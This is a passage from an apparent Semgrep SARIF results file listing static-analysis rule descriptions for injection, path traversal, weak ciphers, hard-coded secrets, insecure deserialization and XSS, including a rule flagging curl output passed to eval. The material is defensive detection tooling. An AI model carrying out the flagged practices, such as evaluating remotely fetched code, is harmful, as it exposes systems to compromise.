go.lang.security.audit.net.pprof.pprof-debug-exposure"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Default session middleware settings: `path` not set. It indicates the path of the cookie; use it to compare against the request path. If this and domain match, then send the cookie in the request."},"help":{"markdown":"Default session middleware settings: `path` not set. It indicates the path of the cookie; use it to compare against the request path. If this and domain match, then send the cookie in the request.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-path)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"Default session middleware settings: `path` not set. It indicates the path of the cookie; use it to compare against the request path. If this and domain match, then send the cookie in the request."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-path","id":"javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-path","name":"javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-path","properties":{"precision":"very-high","tags":["CWE-522: Insufficiently Protected Credentials","MEDIUM CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-path"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application should check the trust result of the SecTrustEvaluate API call to ensure that the connection is trusted. Failure to do so may allow connections to proceed under insecure circumstances, resulting in a reduction in transport layer security guarantees."},"help":{"markdown":"The application should check the trust result of the SecTrustEvaluate API call to ensure that the connection is trusted. Failure to do so may allow connections to proceed under insecure circumstances, resulting in a reduction in transport layer security guarantees.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.insecure-communication.sect.sect-misuse.sectrustevaluate-misuse)\n - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication)\n","text":"The application should check the trust result of the SecTrustEvaluate API call to ensure that the connection is trusted. Failure to do so may allow connections to proceed under insecure circumstances, resulting in a reduction in transport layer security guarantees."},"helpUri":"https://semgrep.dev/r/swift.insecure-communication.sect.sect-misuse.sectrustevaluate-misuse","id":"swift.insecure-communication.sect.sect-misuse.sectrustevaluate-misuse","name":"swift.insecure-communication.sect.sect-misuse.sectrustevaluate-misuse","properties":{"precision":"very-high","tags":["CWE-295: Improper Certificate Validation","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.insecure-communication.sect.sect-misuse.sectrustevaluate-misuse"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Go, it is possible to sanitize user input and mitigate path traversal by using the built-in `filepath.Clean` function."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Go, it is possible to sanitize user input and mitigate path traversal by using the built-in `filepath.Clean` function.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.grpc.path-traversal.grpc-path-traversal-taint.grpc-path-traversal-taint)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Go, it is possible to sanitize user input and mitigate path traversal by using the built-in `filepath.Clean` function."},"helpUri":"https://semgrep.dev/r/go.grpc.path-traversal.grpc-path-traversal-taint.grpc-path-traversal-taint","id":"go.grpc.path-traversal.grpc-path-traversal-taint.grpc-path-traversal-taint","name":"go.grpc.path-traversal.grpc-path-traversal-taint.grpc-path-traversal-taint","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: go.grpc.path-traversal.grpc-path-traversal-taint.grpc-path-traversal-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"`$TY` is setup to use the OFB cipher mode. This mode is insecure it is vulnerable to replay attacks, predictable outputs if IVs are reused. Use a more secure scheme like `AesGcm` or a mode like `CipherMode.CTS`."},"help":{"markdown":"`$TY` is setup to use the OFB cipher mode. This mode is insecure it is vulnerable to replay attacks, predictable outputs if IVs are reused. Use a more secure scheme like `AesGcm` or a mode like `CipherMode.CTS`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet.crypto.ciphers.ofb-mode.ofb-mode)\n - [https://cwe.mitre.org/data/definitions/327.html](https://cwe.mitre.org/data/definitions/327.html)\n - [https://learn.microsoft.com/en-us/dotnet/fundamentals/code-analysis/quality-rules/ca5358](https://learn.microsoft.com/en-us/dotnet/fundamentals/code-analysis/quality-rules/ca5358)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"`$TY` is setup to use the OFB cipher mode. This mode is insecure it is vulnerable to replay attacks, predictable outputs if IVs are reused. Use a more secure scheme like `AesGcm` or a mode like `CipherMode.CTS`."},"helpUri":"https://semgrep.dev/r/csharp.dotnet.crypto.ciphers.ofb-mode.ofb-mode","id":"csharp.dotnet.crypto.ciphers.ofb-mode.ofb-mode","name":"csharp.dotnet.crypto.ciphers.ofb-mode.ofb-mode","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet.crypto.ciphers.ofb-mode.ofb-mode"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pyjwt.python-pyjwt-hardcoded-secret.python-pyjwt-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.pyjwt.python-pyjwt-hardcoded-secret.python-pyjwt-hardcoded-secret","id":"python.pyjwt.python-pyjwt-hardcoded-secret.python-pyjwt-hardcoded-secret","name":"python.pyjwt.python-pyjwt-hardcoded-secret.python-pyjwt-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pyjwt.python-pyjwt-hardcoded-secret.python-pyjwt-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.okhttp.secrets.empty-credentials.empty.Credentials)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.okhttp.secrets.empty-credentials.empty.Credentials","id":"kotlin.okhttp.secrets.empty-credentials.empty.Credentials","name":"kotlin.okhttp.secrets.empty-credentials.empty.Credentials","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.okhttp.secrets.empty-credentials.empty.Credentials"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Data is being eval'd from a `curl` command. An attacker with control of the server in the `curl` command could inject malicious code into the `eval`, resulting in a system comrpomise. Avoid eval'ing untrusted data if you can. If you must do this, consider checking the SHA sum of the content returned by the server to verify its integrity."},"help":{"markdown":"Data is being eval'd from a `curl` command. An attacker with control of the server in the `curl` command could inject malicious code into the `eval`, resulting in a system comrpomise. Avoid eval'ing untrusted data if you can. If you must do this, consider checking the SHA sum of the content returned by the server to verify its integrity.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.github-actions.security.curl-eval.curl-eval)\n - [https://docs.github.com/en/actions/learn-github-actions/security-hardening-for-github-actions#understanding-the-risk-of-script-injections](https://docs.github.com/en/actions/learn-github-actions/security-hardening-for-github-actions#understanding-the-risk-of-script-injections)\n","text":"Data is being eval'd from a `curl` command. An attacker with control of the server in the `curl` command could inject malicious code into the `eval`, resulting in a system comrpomise. Avoid eval'ing untrusted data if you can. If you must do this, consider checking the SHA sum of the content returned by the server to verify its integrity."},"helpUri":"https://semgrep.dev/r/yaml.github-actions.security.curl-eval.curl-eval","id":"yaml.github-actions.security.curl-eval.curl-eval","name":"yaml.github-actions.security.curl-eval.curl-eval","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.github-actions.security.curl-eval.curl-eval"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"HTTP method [$METHOD] to Laravel route $ROUTE_NAME is vulnerable to SQL injection via string concatenation or unsafe interpolation."},"help":{"markdown":"HTTP method [$METHOD] to Laravel route $ROUTE_NAME is vulnerable to SQL injection via string concatenation or unsafe interpolation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.laravel.security.laravel-api-route-sql-injection.laravel-api-route-sql-injection)\n - [https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Laravel_Cheat_Sheet.md](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Laravel_Cheat_Sheet.md)\n","text":"HTTP method [$METHOD] to Laravel route $ROUTE_NAME is vulnerable to SQL injection via string concatenation or unsafe interpolation."},"helpUri":"https://semgrep.dev/r/php.laravel.security.laravel-api-route-sql-injection.laravel-api-route-sql-injection","id":"php.laravel.security.laravel-api-route-sql-injection.laravel-api-route-sql-injection","name":"php.laravel.security.laravel-api-route-sql-injection.laravel-api-route-sql-injection","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: php.laravel.security.laravel-api-route-sql-injection.laravel-api-route-sql-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected HTTPConnectionPool. This will transmit data in cleartext. It is recommended to use HTTPSConnectionPool instead for to encrypt communications."},"help":{"markdown":"Detected HTTPConnectionPool. This will transmit data in cleartext. It is recommended to use HTTPSConnectionPool instead for to encrypt communications.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.network.http-not-https-connection.http-not-https-connection)\n - [https://urllib3.readthedocs.io/en/1.2.1/pools.html#urllib3.connectionpool.HTTPSConnectionPool](https://urllib3.readthedocs.io/en/1.2.1/pools.html#urllib3.connectionpool.HTTPSConnectionPool)\n","text":"Detected HTTPConnectionPool. This will transmit data in cleartext. It is recommended to use HTTPSConnectionPool instead for to encrypt communications."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.network.http-not-https-connection.http-not-https-connection","id":"python.lang.security.audit.network.http-not-https-connection.http-not-https-connection","name":"python.lang.security.audit.network.http-not-https-connection.http-not-https-connection","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.network.http-not-https-connection.http-not-https-connection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.jjwt.jjwt-hardcode.jjwt-hardcode)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.jjwt.jjwt-hardcode.jjwt-hardcode","id":"kotlin.jjwt.jjwt-hardcode.jjwt-hardcode","name":"kotlin.jjwt.jjwt-hardcode.jjwt-hardcode","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.jjwt.jjwt-hardcode.jjwt-hardcode"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.os.tainted-os-command-stdlib-aws-lambda-secure-if-array.tainted-os-command-stdlib-aws-lambda-secure-if-array)\n - [https://docs.python.org/3/library/os.html](https://docs.python.org/3/library/os.html)\n - [https://docs.python.org/3/library/subprocess.html#subprocess.Popen](https://docs.python.org/3/library/subprocess.html#subprocess.Popen)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n - [https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html](https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.os.tainted-os-command-stdlib-aws-lambda-secure-if-array.tainted-os-command-stdlib-aws-lambda-secure-if-array","id":"python.aws-lambda.os.tainted-os-command-stdlib-aws-lambda-secure-if-array.tainted-os-command-stdlib-aws-lambda-secure-if-array","name":"python.aws-lambda.os.tainted-os-command-stdlib-aws-lambda-secure-if-array.tainted-os-command-stdlib-aws-lambda-secure-if-array","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.os.tainted-os-command-stdlib-aws-lambda-secure-if-array.tainted-os-command-stdlib-aws-lambda-secure-if-array"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Using user input when accessing files is potentially dangerous. A malicious actor could use this to modify or access files they have no right to."},"help":{"markdown":"Using user input when accessing files is potentially dangerous. A malicious actor could use this to modify or access files they have no right to.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.avoid-tainted-http-request.avoid-tainted-http-request)\n - [https://github.com/presidentbeef/brakeman/blob/main/docs/warning_types/file_access/index.markdown](https://github.com/presidentbeef/brakeman/blob/main/docs/warning_types/file_access/index.markdown)\n","text":"Using user input when accessing files is potentially dangerous. A malicious actor could use this to modify or access files they have no right to."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.avoid-tainted-http-request.avoid-tainted-http-request","id":"ruby.rails.security.audit.avoid-tainted-http-request.avoid-tainted-http-request","name":"ruby.rails.security.audit.avoid-tainted-http-request.avoid-tainted-http-request","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.avoid-tainted-http-request.avoid-tainted-http-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected Flask route directly returning a formatted string. This is subject to cross-site scripting if user input can reach the string. Consider using the template engine instead and rendering pages with 'render_template()'."},"help":{"markdown":"Detected Flask route directly returning a formatted string. This is subject to cross-site scripting if user input can reach the string. Consider using the template engine instead and rendering pages with 'render_template()'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.audit.directly-returned-format-string.directly-returned-format-string)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected Flask route directly returning a formatted string. This is subject to cross-site scripting if user input can reach the string. Consider using the template engine instead and rendering pages with 'render_template()'."},"helpUri":"https://semgrep.dev/r/python.flask.security.audit.directly-returned-format-string.directly-returned-format-string","id":"python.flask.security.audit.directly-returned-format-string.directly-returned-format-string","name":"python.flask.security.audit.directly-returned-format-string.directly-returned-format-string","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.audit.directly-returned-format-string.directly-returned-format-string"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"this function is only available on Python 3.6+"},"help":{"markdown":"this function is only available on Python 3.6+\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python36.python36-compatibility-ssl)\n","text":"this function is only available on Python 3.6+"},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python36.python36-compatibility-ssl","id":"python.lang.compatibility.python36.python36-compatibility-ssl","name":"python.lang.compatibility.python36.python36-compatibility-ssl","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.lang.compatibility.python36.python36-compatibility-ssl"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected user input entering a `subprocess` call unsafely. This could result in a command injection vulnerability. An attacker could use this vulnerability to execute arbitrary commands on the host, which allows them to download malware, scan sensitive data, or run any command they wish on the server. Do not let users choose the command to run. In general, prefer to use Python API versions of system commands. If you must use subprocess, use a dictionary to allowlist a set of commands."},"help":{"markdown":"Detected user input entering a `subprocess` call unsafely. This could result in a command injection vulnerability. An attacker could use this vulnerability to execute arbitrary commands on the host, which allows them to download malware, scan sensitive data, or run any command they wish on the server. Do not let users choose the command to run. In general, prefer to use Python API versions of system commands. If you must use subprocess, use a dictionary to allowlist a set of commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.command.subprocess-injection.subprocess-injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n","text":"Detected user input entering a `subprocess` call unsafely. This could result in a command injection vulnerability. An attacker could use this vulnerability to execute arbitrary commands on the host, which allows them to download malware, scan sensitive data, or run any command they wish on the server. Do not let users choose the command to run. In general, prefer to use Python API versions of system commands. If you must use subprocess, use a dictionary to allowlist a set of commands."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.command.subprocess-injection.subprocess-injection","id":"python.django.security.injection.command.subprocess-injection.subprocess-injection","name":"python.django.security.injection.command.subprocess-injection.subprocess-injection","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.command.subprocess-injection.subprocess-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. A number of functions and packages in the `torch` module rely on the `pickle` module and should not be used to unpackage data from untrusted sources."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. A number of functions and packages in the `torch` module rely on the `pickle` module and should not be used to unpackage data from untrusted sources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.deserialization.tainted-torch-pickle-django.tainted-torch-pickle-django)\n - [https://blog.trailofbits.com/2021/03/15/never-a-dill-moment-exploiting-machine-learning-pickle-files/](https://blog.trailofbits.com/2021/03/15/never-a-dill-moment-exploiting-machine-learning-pickle-files/)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/;](https://davidhamann.de/2020/04/05/exploiting-python-pickle/;)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://pytorch.org/docs/stable/_modules/torch/distributed/distributed_c10d.html#broadcast_object_list:~:text=.BytesIO()-,_pickler,-(f)](https://pytorch.org/docs/stable/_modules/torch/distributed/distributed_c10d.html#broadcast_object_list:~:text=.BytesIO()-,_pickler,-(f))\n - [https://pytorch.org/docs/stable/generated/torch.load.html](https://pytorch.org/docs/stable/generated/torch.load.html)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. A number of functions and packages in the `torch` module rely on the `pickle` module and should not be used to unpackage data from untrusted sources."},"helpUri":"https://semgrep.dev/r/python.django.deserialization.tainted-torch-pickle-django.tainted-torch-pickle-django","id":"python.django.deserialization.tainted-torch-pickle-django.tainted-torch-pickle-django","name":"python.django.deserialization.tainted-torch-pickle-django.tainted-torch-pickle-django","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.deserialization.tainted-torch-pickle-django.tainted-torch-pickle-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected RC2 cipher algorithm which is considered insecure. This algorithm is not cryptographically secure and can be reversed easily. Use secure stream ciphers such as ChaCha20, XChaCha20 and Salsa20, or a block cipher such as AES with a block size of 128 bits. When using a block cipher, use a modern mode of operation that also provides authentication, such as GCM."},"help":{"markdown":"Detected RC2 cipher algorithm which is considered insecure. This algorithm is not cryptographically secure and can be reversed easily. Use secure stream ciphers such as ChaCha20, XChaCha20 and Salsa20, or a block cipher such as AES with a block size of 128 bits. When using a block cipher, use a modern mode of operation that also provides authentication, such as GCM.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pycryptodome.security.insecure-cipher-algorithm-rc2.insecure-cipher-algorithm-rc2)\n - [https://cwe.mitre.org/data/definitions/326.html](https://cwe.mitre.org/data/definitions/326.html)\n - [https://www.pycryptodome.org/src/cipher/cipher](https://www.pycryptodome.org/src/cipher/cipher)\n","text":"Detected RC2 cipher algorithm which is considered insecure. This algorithm is not cryptographically secure and can be reversed easily. Use secure stream ciphers such as ChaCha20, XChaCha20 and Salsa20, or a block cipher such as AES with a block size of 128 bits. When using a block cipher, use a modern mode of operation that also provides authentication, such as GCM."},"helpUri":"https://semgrep.dev/r/python.pycryptodome.security.insecure-cipher-algorithm-rc2.insecure-cipher-algorithm-rc2","id":"python.pycryptodome.security.insecure-cipher-algorithm-rc2.insecure-cipher-algorithm-rc2","name":"python.pycryptodome.security.insecure-cipher-algorithm-rc2.insecure-cipher-algorithm-rc2","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.pycryptodome.security.insecure-cipher-algorithm-rc2.insecure-cipher-algorithm-rc2"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. Use the `html/template` package which will safely render HTML instead, or inspect that the HTML is rendered safely."},"help":{"markdown":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. Use the `html/template` package which will safely render HTML instead, or inspect that the HTML is rendered safely.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.injection.raw-html-format.raw-html-format)\n - [https://blogtitle.github.io/robn-go-security-pearls-cross-site-scripting-xss/](https://blogtitle.github.io/robn-go-security-pearls-cross-site-scripting-xss/)\n","text":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. Use the `html/template` package which will safely render HTML instead, or inspect that the HTML is rendered safely."},"helpUri":"https://semgrep.dev/r/go.lang.security.injection.raw-html-format.raw-html-format","id":"go.lang.security.injection.raw-html-format.raw-html-format","name":"go.lang.security.injection.raw-html-format.raw-html-format","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.injection.raw-html-format.raw-html-format"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected asyncio subprocess function with argument tainted by `event` object. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may consider using 'shlex.escape()'."},"help":{"markdown":"Detected asyncio subprocess function with argument tainted by `event` object. If this data can be controlled by a malicious actor, it may be an instance of command injection. Audit the use of this call to ensure it is not controllable by an external resource. You may 